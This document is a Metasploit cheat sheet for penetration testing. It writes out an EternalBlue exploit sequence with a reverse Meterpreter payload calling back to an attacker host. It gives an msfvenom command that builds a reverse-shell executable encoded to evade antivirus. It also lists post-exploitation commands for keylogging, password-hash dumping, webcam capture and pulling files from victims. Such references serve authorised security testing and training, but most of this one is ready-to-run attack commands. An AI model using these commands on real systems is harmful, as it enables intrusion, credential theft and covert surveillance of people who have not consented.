■■ Ultimate Metasploit Cheat Sheet

■ Starting Metasploit

```
msfconsole        # Launch Metasploit Framework
version           # Show version
help              # General help menu
```

■ Core Commands

Command	Purpose
search <keyword>	Search for modules
use <module>	Load a module
back	Exit current module
info	Get details about module
show options	List required options
show payloads	List compatible payloads
set <option> <value>	Configure option
unset <option>	Remove option
exploit / run	Execute the exploit

■ Module Types

Module Type	Description
exploit	Exploitation modules (remote/local)
auxiliary	Scanners, fuzzers, DoS, services
payload	Shells & Meterpreter
post	Post-exploitation actions
encoder	Encode payloads (evade AV)
nop	No-Operation generators

■ Exploitation Workflow

```
msfconsole
search smb
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOST 192.168.1.105
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
exploit
```

■ Common Payloads

Payload	Description
windows/meterpreter/reverse_tcp	Reverse Meterpreter shell

windows/meterpreter/bind_tcp	Bind Meterpreter shell
linux/x86/meterpreter/reverse_tcp	Reverse shell for Linux
cmd/unix/reverse_bash	Bash reverse shell
php/meterpreter/reverse_tcp	PHP Meterpreter payload
android/meterpreter/reverse_tcp	Android reverse Meterpreter

Meterpreter Essentials

Command	Function
sysinfo	System info
getuid	Get current user
shell	Drop to system shell
download <file>	Download file from victim
upload <file>	Upload file to victim
screenshot	Capture victim’s screen
keyscan_start / keyscan_dump	Keylogger start / dump
migrate <pid>	Migrate process
hashdump	Dump password hashes
webcam_snap	Take webcam snapshot

Encoding Payloads

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > shell.exe
```

Useful Shortcuts

Shortcut	Purpose
CTRL+Z	Background session
sessions -i <id>	Interact with session
jobs	List background jobs
kill <job_id>	Kill background job

Tips

```
- Always run searchsploit alongside Metasploit for exploit discovery.
- Use setg to configure global options.
- Combine Nmap + Metasploit DB:
    nmap -sV -oX scan.xml 192.168.1.0/24
    db_import scan.xml
    hosts
    services
```